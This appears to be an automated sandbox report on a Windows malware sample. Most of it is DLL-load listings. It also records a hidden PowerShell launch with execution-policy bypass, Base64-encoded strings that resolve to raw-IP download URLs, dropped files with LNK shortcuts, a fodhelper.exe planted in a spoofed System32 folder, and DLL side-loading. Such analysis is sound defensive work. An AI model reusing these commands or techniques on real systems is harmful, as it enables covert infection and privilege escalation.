Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: jli.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: jli.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\shutdown.exe	Section loaded: shutdownext.dll	Jump to behavior
Source: C:\Windows\System32\shutdown.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\shutdown.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Source: _kjfech8_V.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\Public\computer_kjfech8_V.cmd
Source: _kjfech8_VEX.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\_kjfech8_V\_kjfech8_V.exe
Source: _kjfech8_VAT.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\_kjfech8_V\_kjfech8_V.exe
Source: _kjfech8_VAA.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\_kjfech8_V\_kjfech8_Vi7.exe
Source: _kjfech8_Vy.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\Public\computer_kjfech8_Vy.cmd

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

File opened: C:\_kjfech8_V\MSVCR100.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source:	Binary string: msvcr100.i386.pdb source: _kjfech8_Vi7.exe, _kjfech8_Vi7.exe, 0000000B.00000002.29808351670.000000006FD71000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000014.00000002.30385075264.0000014C514D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb> source: powershell.exe, 00000014.00000002.30388421204.0000014C517A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\workspace\8-2-build-windows-i586-cygwin\jdk8u92\6642\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: _kjfech8_Vi7.exe, 00000009.00000000.29777323121.0000000000D02000.00000002.00000001.01000000.00000008.sdmp, _kjfech8_Vi7.exe, 0000000B.00000000.29782413626.0000000000D02000.00000002.00000001.01000000.00000008.sdmp, _kjfech8_Vi7.exe, 0000000B.00000002.29804465764.0000000000D02000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000014.00000002.30385075264.0000014C514D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000014.00000002.30388421204.0000014C517A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000014.00000002.30388421204.0000014C51760000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000014.00000002.30390098625.0000014C517D6000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aAB0AHQAcAA6AC8ALwA2ADIALgA3ADIALgAzAC4AMgAxADAALwBsAGQAaAB0AC8AaQBuAGQAZQB4AC4AcABoAHAA')))) $GlobalListStr = [
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aAB0AHQAcAA6AC8ALwA4ADYALgAzADgALgAyADEANwAuADEANgA3AC8AcABzADEALwBpAG4AZABlAHgALgBwAGgAcAA=')))) $GlobalListStr

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\Documents\vs1.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\Documents\vs1.ps1"			Jump to behavior

Source: fodhelper.exe.4.dr

Static PE information: 0xF07D2A93 [Fri Nov 8 07:38:59 2097 UTC]

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_6FDFB67F _encoded_null,LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

9_2_6FDFB67F

Source: fodhelper.exe.4.dr	Static PE information: section name: .imrsiv
Source: jli.dll.4.dr	Static PE information: section name: .didata
Source: jli.dll.4.dr	Static PE information: section name: .debug
Source: WebView2Loader.txt.4.dr	Static PE information: section name: .00cfg
Source: WebView2Loader.txt.4.dr	Static PE information: section name: .voltbl

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_00D01695 push ecx; ret	9_2_00D016A8
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD72D80 push eax; ret	9_2_6FD72D9E
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD80995 push ecx; ret	9_2_6FD809A8
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD9A6AA push EF3FEFD4h; iretd	9_2_6FD9A6B1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD8BF60 push ecx; ret	9_2_6FD8BF73
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD99CD8 pushad ; iretd	9_2_6FD99CE6
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_00D01695 push ecx; ret	11_2_00D016A8
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD72D80 push eax; ret	11_2_6FD72D9E
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD80995 push ecx; ret	11_2_6FD809A8
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD9A6AA push EF3FEFD4h; iretd	11_2_6FD9A6B1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD8BF60 push ecx; ret	11_2_6FD8BF73
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD99CD8 pushad ; iretd	11_2_6FD99CE6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFF443900BD pushad ; iretd	20_2_00007FFF443900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFF444662FB push esi; ret	20_2_00007FFF44466307

Source: MSVCR100.txt.4.dr

Static PE information: section name: .text entropy: 6.90903234258047

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows \System32\fodhelper.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\exe.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\_kjfech8_V.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\MSVCR100.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\i7.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\MSVCR100.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\WebView2Loader.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\WebView2Loader.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\jli.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\_kjfech8_Vi7.exe (copy)	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows \System32\fodhelper.exe

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\exe.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\i7.txt	Jump to dropped file
